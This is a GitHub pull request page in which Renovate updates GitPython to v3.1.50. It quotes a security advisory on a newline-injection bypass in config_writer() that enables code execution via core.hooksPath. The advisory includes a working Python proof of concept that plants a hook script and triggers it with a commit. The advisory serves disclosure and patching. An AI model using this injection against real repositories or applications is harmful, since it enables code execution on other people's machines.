Skip to content

fix(deps): update dependency gitpython to v3.1.50 [security]#301

Merged
freinold merged 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability
May 10, 2026
Merged

fix(deps): update dependency gitpython to v3.1.50 [security]#301
freinold merged 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented May 2, 2026

This PR contains the following updates:

Package Type Update Change OpenSSF
gitpython project.dependencies patch ==3.1.49==3.1.50 OpenSSF Scorecard

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

gitpython-developers/GitPython (gitpython)

v3.1.50

Compare Source


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added lifecycle Update or deprecate something renovate labels May 2, 2026
@renovate renovate Bot requested a review from freinold May 2, 2026 10:44
@renovate
Copy link
Copy Markdown
Contributor Author

renovate Bot commented May 2, 2026

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: uv.lock
Command failed: uv lock --upgrade-package gitpython
Using CPython 3.13.9 interpreter at: /opt/containerbase/tools/python/3.13.9/bin/python3.13
error: Failed to parse `uv.lock`
  Caused by: Found duplicate package `onnxruntime==1.24.3 @ registry+https://pypi.org/simple`

@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.47 [security] chore(deps): update dependency gitpython to v3.1.47 [security] - autoclosed May 2, 2026
@renovate renovate Bot closed this May 2, 2026
@renovate renovate Bot deleted the renovate/pypi-gitpython-vulnerability branch May 2, 2026 10:45
@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.47 [security] - autoclosed fix(deps): update dependency gitpython to v3.1.50 [security] May 9, 2026
@renovate renovate Bot reopened this May 9, 2026
@renovate renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch 2 times, most recently from 6b5138b to 0eb46be Compare May 9, 2026 05:06
@freinold freinold merged commit a31e016 into main May 10, 2026
7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

lifecycle Update or deprecate something renovate

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant